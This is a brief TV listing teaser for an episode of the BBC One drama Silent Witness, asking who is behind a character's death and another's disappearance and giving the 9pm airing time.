Who is responsible for Livtar’s death and Sally’s disappearance?

Silent Witness airs on BBC  One tonight at 9pm.

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